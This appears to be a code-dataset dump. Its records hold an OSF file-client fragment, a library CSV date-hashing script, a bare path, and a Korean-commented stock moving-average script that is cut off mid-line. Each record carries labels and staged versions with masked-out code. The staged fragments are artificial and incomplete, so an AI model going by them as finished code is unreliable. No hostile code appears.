checksum(local_path):\n print(\"Local file %s already matches remote.\" % local_path)\n break\n with open(local_path, 'wb') as fp:\n file_.write_to(fp)\n\n # only fetching one file so we are done\n break\n\n\n@might_need_auth\ndef list_(args):\n \"\"\"List all files from all storages for project.\n\n If the project is private you need to specify a username.\n \"\"\"\n osf = _setup_osf(args)\n\n project = osf.project(args.project)\n\n for store in project.storages:\n prefix = store.name\n for file_ in store.files:\n path = file_.path\n if path.startswith('/'):\n path = path[1:]\n\n print(os.path.join(prefix, path))\n\n\n@might_need_auth\ndef upload(args):\n \"\"\"Upload a new file to an existing project.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n\n If the project is private you need to specify a username.\n\n To upload a whole directory (and all its sub-directories) use the `-r`\n command-line option. If your source directory name ends in a / then\n files will be created directly in the remote directory. If it does not\n end in a slash an extra sub-directory with the name of the local directory\n will be created.\n\n To place contents of local directory `foo` in remote directory `bar/foo`:\n $ osf upload -r foo bar\n To place contents of local directory `foo` in remote directory `bar`:\n $ osf upload -r foo/ bar\n \"\"\"\n osf = _setup_osf(args)\n if osf.username is None or osf.password is None:\n sys.exit('To upload a file you need to provide a username and'\n ' password.')\n\n project = osf.project(args.project)\n storage, remote_path = split_storage(args.destination)\n if remote_path == '':\n remote_path = os.path.split(args.source)[-1]\n\n store = project.storage(storage)\n if args.recursive:\n if not os.path.isdir(args.source):\n raise RuntimeError(\"Expected source ({}) to be a directory when \"\n \"using recursive mode.\".format(args.source))\n\n # local name of the directory that is being uploaded\n _, dir_name = os.path.split(args.source)\n\n for root, _, files in os.walk(args.source):\n subdir_path = os.path.relpath(root, args.source)\n for fname in files:\n local_path = os.path.join(root, fname)\n with open(local_path, 'rb') as fp:\n # build the remote path + fname\n name = os.path.join(remote_path, dir_name, subdir_path,\n fname)\n store.create_file(name, fp, force=args.force,\n update=args.update)\n\n else:\n with open(args.source, 'rb') as fp:\n store.create_file(remote_path, fp, force=args.force,\n update=args.update)\n\n\n@might_need_auth\ndef remove(args):\n \"\"\"Remove a file from the project's storage.\n\n The first part of the remote path is interpreted as the name of the\n storage provider. If there is no match the default (osfstorage) is\n used.\n \"\"\"\n osf = _setup_osf(args)\n if osf.username is None or osf.password is None:\n sys.exit('To remove a file you need to provide a username and'\n ' password.')\n\n project = osf.project(args.project)\n\n storage, remote_path = split_storage(args.target)\n\n store = project.storage(storage)\n for f in store.files:\n if norm_remote_path(f.path) == remote_path:\n f.remove()\n", "step-ids": [ 7, 9, 10, 12, 13 ] }
[ 7, 9, 10, 12, 13 ]
import csv import hashdate as hd with open('Grainger_Library.csv', newline='') as f: reader = csv.reader(f) data = list(reader) del data[0] gld = [] glo = [] data.sort(key=lambda x:x[1]) for i in range(0,len(data)): gld.append((data[i][1],data[i][2])) print('ahd:') #print(ahd) glh = hd.hashdate(365,20200101) for i in range(0,len(gld)): glh.insert(gld[i][0], gld[i][1]) print('ahh:') glh.display() for i in range(0,len(glh.t)): if glh.t[i] != None: glo.append((glh.outd(i),glh.outn(i))) #print(ahh.outd(i)) print('aho:') print(glo)
normal
{ "blob_id": "79ff164c36cc5f0a2382a571ec183952a03e66cc", "index": 9570, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith open('Grainger_Library.csv', newline='') as f:\n reader = csv.reader(f)\n data = list(reader)\ndel data[0]\n<mask token>\ndata.sort(key=lambda x: x[1])\nfor i in range(0, len(data)):\n gld.append((data[i][1], data[i][2]))\nprint('ahd:')\n<mask token>\nfor i in range(0, len(gld)):\n glh.insert(gld[i][0], gld[i][1])\nprint('ahh:')\nglh.display()\nfor i in range(0, len(glh.t)):\n if glh.t[i] != None:\n glo.append((glh.outd(i), glh.outn(i)))\nprint('aho:')\nprint(glo)\n", "step-3": "<mask token>\nwith open('Grainger_Library.csv', newline='') as f:\n reader = csv.reader(f)\n data = list(reader)\ndel data[0]\ngld = []\nglo = []\ndata.sort(key=lambda x: x[1])\nfor i in range(0, len(data)):\n gld.append((data[i][1], data[i][2]))\nprint('ahd:')\nglh = hd.hashdate(365, 20200101)\nfor i in range(0, len(gld)):\n glh.insert(gld[i][0], gld[i][1])\nprint('ahh:')\nglh.display()\nfor i in range(0, len(glh.t)):\n if glh.t[i] != None:\n glo.append((glh.outd(i), glh.outn(i)))\nprint('aho:')\nprint(glo)\n", "step-4": "import csv\nimport hashdate as hd\nwith open('Grainger_Library.csv', newline='') as f:\n reader = csv.reader(f)\n data = list(reader)\ndel data[0]\ngld = []\nglo = []\ndata.sort(key=lambda x: x[1])\nfor i in range(0, len(data)):\n gld.append((data[i][1], data[i][2]))\nprint('ahd:')\nglh = hd.hashdate(365, 20200101)\nfor i in range(0, len(gld)):\n glh.insert(gld[i][0], gld[i][1])\nprint('ahh:')\nglh.display()\nfor i in range(0, len(glh.t)):\n if glh.t[i] != None:\n glo.append((glh.outd(i), glh.outn(i)))\nprint('aho:')\nprint(glo)\n", "step-5": "import csv\nimport hashdate as hd\n\n\n\nwith open('Grainger_Library.csv', newline='') as f:\n reader = csv.reader(f)\n data = list(reader)\ndel data[0]\ngld = []\nglo = []\ndata.sort(key=lambda x:x[1])\n\nfor i in range(0,len(data)):\n gld.append((data[i][1],data[i][2]))\nprint('ahd:')\n#print(ahd)\nglh = hd.hashdate(365,20200101)\nfor i in range(0,len(gld)):\n glh.insert(gld[i][0], gld[i][1])\nprint('ahh:')\nglh.display()\nfor i in range(0,len(glh.t)):\n if glh.t[i] != None:\n glo.append((glh.outd(i),glh.outn(i)))\n #print(ahh.outd(i))\nprint('aho:')\nprint(glo)", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
/home/co/Documents/ImageClassifier/tensorflow/tensorflow/contrib/tfprof/__init__.py
normal
{ "blob_id": "ca0616694b30f69263db48282bf8b8c130de0fbb", "index": 8774, "step-1": "/home/co/Documents/ImageClassifier/tensorflow/tensorflow/contrib/tfprof/__init__.py", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
import pandas as pd # 칼럼값으로 추가 - 함수 작성 # 1. cv_diff_value : 종가 일간 변화량 def cv_diff_value(prevalue, postvalue): return postvalue - prevalue # 2. cv_diff_rate : 종가 일간 변화율 def cv_diff_rate(prevalue, postvalue): return (postvalue - prevalue) / prevalue * 100 # 3. cv_maN_value : 종가의 N일 이동평균 def cv_maN_value(cv, N): # min_period 옵션을 이용하여 할 수도 있음 // 데이터가 최소 x 개라도 존재하면 이동평균을 구함 str_replay = "N의 값을 다시 입력해주세요" if 3 <= N <= 5: return cv.rolling(window=N).mean() else: return str_replay # 4. cv_maN_rate : 종가의 N일 이동평균의 일간 변화율 def cv_maN_rate(cv, N): str_replay = "N의 값을 다시 입력해주세요" if 3 <= N <= 5: # DataFrame 을 list 로 변환 for i in range(cv.index[0], (len(cv)+cv.index[0]), 1): cv_list.append(cv[i]) # 종가의 N일 이동평균의 일간 변화율을 list 에 담기 for i in range(len(cv_list)-1): if cv_list[i] != 0: cv_ma_rate.append((cv_list[i+1] - cv_list[i]) / cv_list[i] * 100) else: cv_ma_rate.append(0) # 종가의 N일 이동평균의 일간 변화율을 소수점 2째자리 까지 표현 for i in range(len(cv_ma_rate)): cv_ma_rate_round.append(round(cv_ma_rate[i], 2)) return cv_ma_rate_round else: return str_replay # 5. ud_Nd : (a) N일 연속 증가 1, (b) N일 연속 하락 -1, (c) 그렇지 않은 날 0 def ud_Nd(cvdv, N): cvdv_list = [] # list un_Nd_list = [] # list # print(cvdv) # 종가 # print(len(cvdv)) # 길이 : 230 # DataFrame 을 list 로 변환 for i in range(cvdv.index[0], (len(cvdv)+cvdv.index[0]), 1): cvdv_list.append(cvdv[i]) # 알 수 없는 정보는 '0'으로 두겠다 for i in range(N-2): un_Nd_list.append(0) # 상승, 하락, 그렇지 않은 날 계산 for i in range(len(cvdv_list)-N+1): # 0 ~ 225 increase_count = decrease_count = nothing_count = 0 for j in range(N-1): # 0 ~ 3 if cvdv_list[i + j] < cvdv_list[i + j + 1]: # 종가가 상승한 날 increase_count += 1 elif cvdv_list[i + j] > cvdv_list[i + j + 1]: # 종가가 하락한 날 decrease_count += 1 else: # 종가가 상승도 하락도 아닌날 nothing_count += 1 # N일 연속 종가가 상승, 하락, 그렇지 않은 날 판단하고 (N-1)날에 삽입 if increase_count == (N - 1): un_Nd_list.append(1) elif decrease_count == (N - 1): un_Nd_list.append(-1) else: un_Nd_list.append(0) un_Nd_list.append(0) # 마지막날은 판단할 수 없어서 '0' 으로 삽입 return un_Nd_list # csv 파일 읽어오기 // DataFrame 으로 변경 // NaN값 제거 csv_file_read = open('stock_history.csv', 'r', encoding='euc-kr') stock_data = pd.read_csv(csv_file_read) df = pd.DataFrame(stock_data) stock_DataFrame = df.dropna(axis=1) # 반복 시작 while True: # 초기값 cv_amount = [0] # 종가 일간 변화량을 저장할 list cv_rate = [0] # 종가 일간 변화율을 저장할 list cv_ma_rate = [0] # 종가의 N일 이동평균의 일간 변화율을 저장할 list un_Nd_plus = un_Nd_minus = 0 # 20회이상 판단할 count 변수 result3 = [] # 종가의 N일 이동평균을 저장할 list result4 = [] # 종가 N일 이동평균의 일간 변화율 cv_list = [] # 종가의 N일 이동평균의 일간 변화율을 저장할 list cv_ma_rate_round = [] # 종가의 N일 이동평균의 일간 변화율을 소수점 2자리로 저장할 list unNd_list = [] # 종가의 N일 증감을 저장할 list # 종목을 선택하고 N의 값을 입력받는다 stock_name = input("종목을 입력해주세요 : ") Number = int(input("N의 값을 입력해주세요 : ")) one_stock = stock_DataFrame.loc[stock_DataFrame["stockname"] == stock_name] print(one_stock) close_value = one_stock["close_value"] # 종가만 가져오기 one_stock_copy = one_stock.copy() # DataFrame 에 열을 추가하기 위해 복사 # 종가 일간 변화량 try: for i in range(close_value.index[0], (len(close_value)+close_value.index[0])-1, 1): result = cv_diff_value(close_value[i], close_value[i+1]) cv_amount.append(result) except IndexError: print("존재하지 않는 항목") continue one_stock_copy["cv_diff_value"] = cv_amount # DataFrame 에 데이터 추가 # print(one_stock_copy) # 종가 일간 변화율 // 종가 일간 변화량과 마찬가지 // 소수점 2자리 표현 for i in range(close_value.index[0], (len(close_value)+close_value.index[0])-1, 1): result2 = round(cv_diff_rate(close_value[i], close_value[i+1]), 2) cv_rate.append(result2) one_stock_copy["cv_diff_rate"] = cv_rate # DataFrame 에 데이터 추가 # print(one_stock_copy) # 종가 N일 이동평균 res3 = cv_maN_value(close_value, Number) if isinstance(res3, str): print(res3) continue else: result3 = res3.fillna(0) # NaN값을 0으로 치환 one_stock_copy["cv_maN_value"] = result3 # print(one_stock_copy) # 종가 N일 이동평균의 일간 변화율 ma_value = one_stock_copy["cv_maN_value"] # 종가 N일 이동평균 가져오기 result4 = cv_maN_rate(ma_value, Number) if isinstance(result4, str): print(result4) continue else: one_stock_copy["cv_maN_rate"] = result4 # print(one_stock_copy) # N일 연속 상승, 하락, 그렇지 않은 날 파악 result5 = ud_Nd(close_value, Number) one_stock_copy["ud_Nd"] = result5 # un_Nd = 1, -1이 20회 이상 발생하도록 N을 3 ~ 5로 조정, 종목을 변경 un_Nd_value = one_stock_copy["ud_Nd"] # N일 연속되는 증감 column 가져오기 # DataFrame 을 list 로 변환 for i in range(un_Nd_value.index[0], (len(un_Nd_value)+un_Nd_value.index[0]), 1): unNd_list.append(un_Nd_value[i]) # 20회 이상 발생하는지 판단 for i in range(len(unNd_list)): if unNd_list[i] == 1: un_Nd_plus += 1 if unNd_list[i] == -1: un_Nd_minus += 1 print(un_Nd_plus) print(un_Nd_minus) # 발생했다면 반복문을 종료하고 발생하지 않았다면 N을 조정하거나 종목을 변경한다 if un_Nd_plus >= 20 and un_Nd_minus >= 20: break else: print("un_Nd의 1 or -1 발생횟수가 둘 다 20을 넘지 않았습니다") continue # 반복문이 끝나고 20회이상 발생하는 조건을 만족하면 csv 파일(stock_history_added.csv)로 저장 one_stock_copy.to_csv('stock_history_added.csv', encoding='ms949', index=False) print("Data가 성공적으로 추가됐습니다") csv_file_read.close()
normal
{ "blob_id": "a967b97f090a71f28e33c5ca54cb64db3967aea3", "index": 7002, "step-1": "<mask token>\n\n\ndef cv_diff_value(prevalue, postvalue):\n return postvalue - prevalue\n\n\ndef cv_diff_rate(prevalue, postvalue):\n return (postvalue - prevalue) / prevalue * 100\n\n\ndef cv_maN_value(cv, N):\n str_replay = 'N의 값을 다시 입력해주세요'\n if 3 <= N <= 5:\n return cv.rolling(window=N).mean()\n else:\n return str_replay\n\n\ndef cv_maN_rate(cv, N):\n str_replay = 'N의 값을 다시 입력해주세요'\n if 3 <= N <= 5:\n for i in range(cv.index[0], len(cv) + cv.index[0], 1):\n cv_list.append(cv[i])\n for i in range(len(cv_list) - 1):\n if cv_list[i] != 0:\n cv_ma_rate.append((cv_list[i + 1] - cv_list[i]) / cv_list[i\n ] * 100)\n else:\n cv_ma_rate.append(0)\n for i in range(len(cv_ma_rate)):\n cv_ma_rate_round.append(round(cv_ma_rate[i], 2))\n return cv_ma_rate_round\n else:\n return str_replay\n\n\ndef ud_Nd(cvdv, N):\n cvdv_list = []\n un_Nd_list = []\n for i in range(cvdv.index[0], len(cvdv) + cvdv.index[0], 1):\n cvdv_list.append(cvdv[i])\n for i in range(N - 2):\n un_Nd_list.append(0)\n for i in range(len(cvdv_list) - N + 1):\n increase_count = decrease_count = nothing_count = 0\n for j in range(N - 1):\n if cvdv_list[i + j] < cvdv_list[i + j + 1]:\n increase_count += 1\n elif cvdv_list[i + j] > cvdv_list[i + j + 1]:\n decrease_count += 1\n else:\n nothing_count += 1\n if increase_count == N - 1:\n un_Nd_list.append(1)\n elif decrease_count == N - 1:\n un_Nd_list.append(-1)\n else:\n un_Nd_list.append(0)\n un_Nd_list.append(0)\n return un_Nd_list\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef cv_diff_value(prevalue, postvalue):\n return postvalue - prevalue\n\n\ndef cv_diff_rate(prevalue, postvalue):\n return (postvalue - prevalue) / prevalue * 100\n\n\ndef cv_maN_value(cv, N):\n str_replay = 'N의 값을 다시 입력해주세요'\n if 3 <= N <= 5:\n return cv.rolling(window=N).mean()\n else:\n return str_replay\n\n\ndef cv_maN_rate(cv, N):\n str_replay = 'N의 값을 다시 입력해주세요'\n if 3 <= N <= 5:\n for i in range(cv.index[0], len(cv) + cv.index[0], 1):\n cv_list.append(cv[i])\n for i in range(len(cv_list) - 1):\n if cv_list[i] != 0:\n cv_ma_rate.append((cv_list[i + 1] - cv_list[i]) / cv_list[i\n ] * 100)\n else:\n cv_ma_rate.append(0)\n for i in range(len(cv_ma_rate)):\n cv_ma_rate_round.append(round(cv_ma_rate[i], 2))\n return cv_ma_rate_round\n else:\n return str_replay\n\n\ndef ud_Nd(cvdv, N):\n cvdv_list = []\n un_Nd_list = []\n for i in range(cvdv.index[0], len(cvdv) + cvdv.index[0], 1):\n cvdv_list.append(cvdv[i])\n for i in range(N - 2):\n un_Nd_list.append(0)\n for i in range(len(cvdv_list) - N + 1):\n increase_count = decrease_count = nothing_count = 0\n for j in range(N - 1):\n if cvdv_list[i + j] < cvdv_list[i + j + 1]:\n increase_count += 1\n elif cvdv_list[i + j] > cvdv_list[i + j + 1]:\n decrease_count += 1\n else:\n nothing_count += 1\n if increase_count == N - 1:\n un_Nd_list.append(1)\n elif decrease_count == N - 1:\n un_Nd_list.append(-1)\n else:\n un_Nd_list.append(0)\n un_Nd_list.append(0)\n return un_Nd_list\n\n\n<mask token>\nwhile True:\n cv_amount = [0]\n cv_rate = [0]\n cv_ma_rate = [0]\n un_Nd_plus = un_Nd_minus = 0\n result3 = []\n result4 = []\n cv_list = []\n cv_ma_rate_round = []\n unNd_list = []\n stock_name = input('종목을 입력해주세요 : ')\n Number = int(input('N의 값을 입력해주세요 : '))\n one_stock = stock_DataFrame.loc[stock_DataFrame['stockname'] == stock_name]\n print(one_stock)\n close_value = one_stock['close_value']\n one_stock_copy = one_stock.copy()\n try:\n for i in range(close_value.index[0], len(close_value) + close_value\n .index[0] - 1, 1):\n result = cv_diff_value(close_value[i], close_value[i + 1])\n cv_amount.append(result)\n except IndexError:\n print('존재하지 않는 항목')\n continue\n one_stock_copy['cv_diff_value'] = cv_amount\n for i in range(close_value.index[0], len(close_value) + close_value.\n index[0] - 1, 1):\n result2 = round(cv_diff_rate(close_value[i], close_value[i + 1]), 2)\n cv_rate.append(result2)\n one_stock_copy['cv_diff_rate'] = cv_rate\n res3 = cv_maN_value(close_value, Number)\n if isinstance(res3, str):\n print(res3)\n continue\n else:\n result3 = res3.fillna(0)\n one_stock_copy['cv_maN_value'] = result3\n ma_value = one_stock_copy['cv_maN_value']\n result4 = cv_maN_rate(ma_value, Number)\n if isinstance(result4, str):\n print(result4)\n continue\n else:\n one_stock_copy['cv_maN_rate'] = result4\n result5 = ud_Nd(close_value, Number)\n one_stock_copy['ud_Nd'] = result5\n un_Nd_value = one_stock_copy['ud_Nd']\n for i in range(un_Nd_value.index[0], len(un_Nd_value) + un_Nd_value.\n index[0], 1):\n unNd_list.append(un_Nd_value[i])\n for i in range(len(unNd_list)):\n if unNd_list[i] == 1:\n un_Nd_plus += 1\n if unNd_list[i] == -1:\n un_Nd_minus += 1\n print(un_Nd_plus)\n print(un_Nd_minus)\n if un_Nd_plus >= 20 and un_Nd_minus >= 20:\n break\n else:\n print('un_Nd의 1 or -1 발생횟수가 둘 다 20을 넘지 않았습니다')\n continue\none_stock_copy.to_csv('stock_history_added.csv', encoding='ms949', index=False)\nprint('Data가 성공적으로 추가됐습니다')\ncsv_file_read.close()\n", "step-3": "<mask token>\n\n\ndef cv_diff_value(prevalue, postvalue):\n return postvalue - prevalue\n\n\ndef cv_diff_rate(prevalue, postvalue):\n return (postvalue - prevalue) / prevalue * 100\n\n\ndef cv_maN_value(cv, N):\n str_replay = 'N의 값을 다시 입력해주세요'\n if 3 <= N <= 5:\n return cv.rolling(window=N).mean()\n else:\n return str_replay\n\n\ndef cv_maN_rate(cv, N):\n str_replay = 'N의 값을 다시 입력해주세요'\n if 3 <= N <= 5:\n for i in range(cv.index[0], len(cv) + cv.index[0], 1):\n cv_list.append(cv[i])\n for i in range(len(cv_list) - 1):\n if cv_list[i] != 0:\n cv_ma_rate.append((cv_list[i + 1] - cv_list[i]) / cv_list[i\n ] * 100)\n else:\n cv_ma_rate.append(0)\n for i in range(len(cv_ma_rate)):\n cv_ma_rate_round.append(round(cv_ma_rate[i], 2))\n return cv_ma_rate_round\n else:\n return str_replay\n\n\ndef ud_Nd(cvdv, N):\n cvdv_list = []\n un_Nd_list = []\n for i in range(cvdv.index[0], len(cvdv) + cvdv.index[0], 1):\n cvdv_list.append(cvdv[i])\n for i in range(N - 2):\n un_Nd_list.append(0)\n for i in range(len(cvdv_list) - N + 1):\n increase_count = decrease_count = nothing_count = 0\n for j in range(N - 1):\n if cvdv_list[i + j] < cvdv_list[i + j + 1]:\n increase_count += 1\n elif cvdv_list[i + j] > cvdv_list[i + j + 1]:\n decrease_count += 1\n else:\n nothing_count += 1\n if increase_count == N - 1:\n un_Nd_list.append(1)\n elif decrease_count == N - 1:\n un_Nd_list.append(-1)\n else:\n un_Nd_list.append(0)\n un_Nd_list.append(0)\n return un_Nd_list\n\n\ncsv_file_read = open('stock_history.csv', 'r', encoding='euc-kr')\nstock_data = pd.read_csv(csv_file_read)\ndf = pd.DataFrame(stock_data)\nstock_DataFrame = df.dropna(axis=1)\nwhile True:\n cv_amount = [0]\n cv_rate = [0]\n cv_ma_rate = [0]\n un_Nd_plus = un_Nd_minus = 0\n result3 = []\n result4 = []\n cv_list = []\n cv_ma_rate_round = []\n unNd_list = []\n stock_name = input('종목을 입력해주세요 : ')\n Number = int(input('N의 값을 입력해주세요 : '))\n one_stock = stock_DataFrame.loc[stock_DataFrame['stockname'] == stock_name]\n print(one_stock)\n close_value = one_stock['close_value']\n one_stock_copy = one_stock.copy()\n try:\n for i in range(close_value.index[0], len(close_value) + close_value\n .index[0] - 1, 1):\n result = cv_diff_value(close_value[i], close_value[i + 1])\n cv_amount.append(result)\n except IndexError:\n print('존재하지 않는 항목')\n continue\n one_stock_copy['cv_diff_value'] = cv_amount\n for i in range(close_value.index[0], len(close_value) + close_value.\n index[0] - 1, 1):\n result2 = round(cv_diff_rate(close_value[i], close_value[i + 1]), 2)\n cv_rate.append(result2)\n one_stock_copy['cv_diff_rate'] = cv_rate\n res3 = cv_maN_value(close_value, Number)\n if isinstance(res3, str):\n print(res3)\n continue\n else:\n result3 = res3.fillna(0)\n one_stock_copy['cv_maN_value'] = result3\n ma_value = one_stock_copy['cv_maN_value']\n result4 = cv_maN_rate(ma_value, Number)\n if isinstance(result4, str):\n print(result4)\n continue\n else:\n one_stock_copy['cv_maN_rate'] = result4\n result5 = ud_Nd(close_value, Number)\n one_stock_copy['ud_Nd'] = result5\n un_Nd_value = one_stock_copy['ud_Nd']\n for i in range(un_Nd_value.index[0], len(un_Nd_value) + un_Nd_value.\n index[0], 1):\n unNd_list.append(un_Nd_value[i])\n for i in range(len(unNd_list)):\n if unNd_list[i] == 1:\n un_Nd_plus += 1\n if unNd_list[i] == -1:\n un_Nd_minus += 1\n print(un_Nd_plus)\n print(un_Nd_minus)\n if un_Nd_plus >= 20 and un_Nd_minus >= 20:\n break\n else:\n print('un_Nd의 1 or -1 발생횟수가 둘 다 20을 넘지 않았습니다')\n continue\none_stock_copy.to_csv('stock_history_added.csv', encoding='ms949', index=False)\nprint('Data가 성공적으로 추가됐습니다')\ncsv_file_read.close()\n", "step-4": "import pandas as pd\n\n\ndef cv_diff_value(prevalue, postvalue):\n return postvalue - prevalue\n\n\ndef cv_diff_rate(prevalue, postvalue):\n return (postvalue - prevalue) / prevalue * 100\n\n\ndef cv_maN_value(cv, N):\n str_replay = 'N의 값을 다시 입력해주세요'\n if 3 <= N <= 5:\n return cv.rolling(window=N).mean()\n else:\n return str_replay\n\n\ndef cv_maN_rate(cv, N):\n str_replay = 'N의 값을 다시 입력해주세요'\n if 3 <= N <= 5:\n for i in range(cv.index[0], len(cv) + cv.index[0], 1):\n cv_list.append(cv[i])\n for i in range(len(cv_list) - 1):\n if cv_list[i] != 0:\n cv_ma_rate.append((cv_list[i + 1] - cv_list[i]) / cv_list[i\n ] * 100)\n else:\n cv_ma_rate.append(0)\n for i in range(len(cv_ma_rate)):\n cv_ma_rate_round.append(round(cv_ma_rate[i], 2))\n return cv_ma_rate_round\n else:\n return str_replay\n\n\ndef ud_Nd(cvdv, N):\n cvdv_list = []\n un_Nd_list = []\n for i in range(cvdv.index[0], len(cvdv) + cvdv.index[0], 1):\n cvdv_list.append(cvdv[i])\n for i in range(N - 2):\n un_Nd_list.append(0)\n for i in range(len(cvdv_list) - N + 1):\n increase_count = decrease_count = nothing_count = 0\n for j in range(N - 1):\n if cvdv_list[i + j] < cvdv_list[i + j + 1]:\n increase_count += 1\n elif cvdv_list[i + j] > cvdv_list[i + j + 1]:\n decrease_count += 1\n else:\n nothing_count += 1\n if increase_count == N - 1:\n un_Nd_list.append(1)\n elif decrease_count == N - 1:\n un_Nd_list.append(-1)\n else:\n un_Nd_list.append(0)\n un_Nd_list.append(0)\n return un_Nd_list\n\n\ncsv_file_read = open('stock_history.csv', 'r', encoding='euc-kr')\nstock_data = pd.read_csv(csv_file_read)\ndf = pd.DataFrame(stock_data)\nstock_DataFrame = df.dropna(axis=1)\nwhile True:\n cv_amount = [0]\n cv_rate = [0]\n cv_ma_rate = [0]\n un_Nd_plus = un_Nd_minus = 0\n result3 = []\n result4 = []\n cv_list = []\n cv_ma_rate_round = []\n unNd_list = []\n stock_name = input('종목을 입력해주세요 : ')\n Number = int(input('N의 값을 입력해주세요 : '))\n one_stock = stock_DataFrame.loc[stock_DataFrame['stockname'] == stock_name]\n print(one_stock)\n close_value = one_stock['close_value']\n one_stock_copy = one_stock.copy()\n try:\n for i in range(close_value.index[0], len(close_value) + close_value\n .index[0] - 1, 1):\n result = cv_diff_value(close_value[i], close_value[i + 1])\n cv_amount.append(result)\n except IndexError:\n print('존재하지 않는 항목')\n continue\n one_stock_copy['cv_diff_value'] = cv_amount\n for i in range(close_value.index[0], len(close_value) + close_value.\n index[0] - 1, 1):\n result2 = round(cv_diff_rate(close_value[i], close_value[i + 1]), 2)\n cv_rate.append(result2)\n one_stock_copy['cv_diff_rate'] = cv_rate\n res3 = cv_maN_value(close_value, Number)\n if isinstance(res3, str):\n print(res3)\n continue\n else:\n result3 = res3.fillna(0)\n one_stock_copy['cv_maN_value'] = result3\n ma_value = one_stock_copy['cv_maN_value']\n result4 = cv_maN_rate(ma_value, Number)\n if isinstance(result4, str):\n print(result4)\n continue\n else:\n one_stock_copy['cv_maN_rate'] = result4\n result5 = ud_Nd(close_value, Number)\n one_stock_copy['ud_Nd'] = result5\n un_Nd_value = one_stock_copy['ud_Nd']\n for i in range(un_Nd_value.index[0], len(un_Nd_value) + un_Nd_value.\n index[0], 1):\n unNd_list.append(un_Nd_value[i])\n for i in range(len(unNd_list)):\n if unNd_list[i] == 1:\n un_Nd_plus += 1\n if unNd_list[i] == -1:\n un_Nd_minus += 1\n print(un_Nd_plus)\n print(un_Nd_minus)\n if un_Nd_plus >= 20 and un_Nd_minus >= 20:\n break\n else:\n print('un_Nd의 1 or -1 발생횟수가 둘 다 20을 넘지 않았습니다')\n continue\none_stock_copy.to_csv('stock_history_added.csv', encoding='ms949', index=False)\nprint('Data가 성공적으로 추가됐습니다')\ncsv_file_read.close()\n", "step-5": "import pandas as pd\n\n# 칼럼값으로 추가 - 함수 작성\n# 1. cv_diff_value : 종가 일간 변화량\ndef cv_diff_value(prevalue, postvalue):\n return postvalue - prevalue\n\n\n# 2. cv_diff_rate : 종가 일간 변화율\ndef cv_diff_rate(prevalue, postvalue):\n return (postvalue - prevalue) / prevalue * 100\n\n\n# 3. cv_maN_value : 종가의 N일 이동평균\ndef cv_maN_value(cv, N):\n # min_period 옵션을 이용하여 할 수도 있음 // 데이터가 최소 x 개라도 존재하면 이동평균을 구함\n str_replay = \"N의 값을 다시 입력해주세요\"\n if 3 <= N <= 5:\n return cv.rolling(window=N).mean()\n else:\n return str_replay\n\n\n# 4. cv_maN_rate : 종가의 N일 이동평균의 일간 변화율\ndef cv_maN_rate(cv, N):\n str_replay = \"N의 값을 다시 입력해주세요\"\n if 3 <= N <= 5:\n # DataFrame 을 list 로 변환\n for i in range(cv.index[0], (len(cv)+cv.index[0]), 1):\n cv_list.append(cv[i])\n # 종가의 N일 이동평균의 일간 변화율을 list 에 담기\n for i in range(len(cv_list)-1):\n if cv_list[i] != 0:\n cv_ma_rate.append((cv_list[i+1] - cv_list[i]) / cv_list[i] * 100)\n else:\n cv_ma_rate.append(0)\n # 종가의 N일 이동평균의 일간 변화율을 소수점 2째자리 까지 표현\n for i in range(len(cv_ma_rate)):\n cv_ma_rate_round.append(round(cv_ma_rate[i], 2))\n return cv_ma_rate_round\n else:\n return str_replay\n\n\n# 5. ud_Nd : (a) N일 연속 증가 1, (b) N일 연속 하락 -1, (c) 그렇지 않은 날 0\ndef ud_Nd(cvdv, N):\n cvdv_list = [] # list\n un_Nd_list = [] # list\n # print(cvdv) # 종가\n # print(len(cvdv)) # 길이 : 230\n # DataFrame 을 list 로 변환\n for i in range(cvdv.index[0], (len(cvdv)+cvdv.index[0]), 1):\n cvdv_list.append(cvdv[i])\n # 알 수 없는 정보는 '0'으로 두겠다\n for i in range(N-2):\n un_Nd_list.append(0)\n # 상승, 하락, 그렇지 않은 날 계산\n for i in range(len(cvdv_list)-N+1): # 0 ~ 225\n increase_count = decrease_count = nothing_count = 0\n for j in range(N-1): # 0 ~ 3\n if cvdv_list[i + j] < cvdv_list[i + j + 1]: # 종가가 상승한 날\n increase_count += 1\n elif cvdv_list[i + j] > cvdv_list[i + j + 1]: # 종가가 하락한 날\n decrease_count += 1\n else: # 종가가 상승도 하락도 아닌날\n nothing_count += 1\n # N일 연속 종가가 상승, 하락, 그렇지 않은 날 판단하고 (N-1)날에 삽입\n if increase_count == (N - 1):\n un_Nd_list.append(1)\n elif decrease_count == (N - 1):\n un_Nd_list.append(-1)\n else:\n un_Nd_list.append(0)\n un_Nd_list.append(0) # 마지막날은 판단할 수 없어서 '0' 으로 삽입\n return un_Nd_list\n\n\n# csv 파일 읽어오기 // DataFrame 으로 변경 // NaN값 제거\ncsv_file_read = open('stock_history.csv', 'r', encoding='euc-kr')\nstock_data = pd.read_csv(csv_file_read)\ndf = pd.DataFrame(stock_data)\nstock_DataFrame = df.dropna(axis=1)\n\n# 반복 시작\nwhile True:\n # 초기값\n cv_amount = [0] # 종가 일간 변화량을 저장할 list\n cv_rate = [0] # 종가 일간 변화율을 저장할 list\n cv_ma_rate = [0] # 종가의 N일 이동평균의 일간 변화율을 저장할 list\n un_Nd_plus = un_Nd_minus = 0 # 20회이상 판단할 count 변수\n result3 = [] # 종가의 N일 이동평균을 저장할 list\n result4 = [] # 종가 N일 이동평균의 일간 변화율\n cv_list = [] # 종가의 N일 이동평균의 일간 변화율을 저장할 list\n cv_ma_rate_round = [] # 종가의 N일 이동평균의 일간 변화율을 소수점 2자리로 저장할 list\n unNd_list = [] # 종가의 N일 증감을 저장할 list\n\n # 종목을 선택하고 N의 값을 입력받는다\n stock_name = input(\"종목을 입력해주세요 : \")\n Number = int(input(\"N의 값을 입력해주세요 : \"))\n one_stock = stock_DataFrame.loc[stock_DataFrame[\"stockname\"] == stock_name]\n print(one_stock)\n\n close_value = one_stock[\"close_value\"] # 종가만 가져오기\n one_stock_copy = one_stock.copy() # DataFrame 에 열을 추가하기 위해 복사\n\n # 종가 일간 변화량\n try:\n for i in range(close_value.index[0], 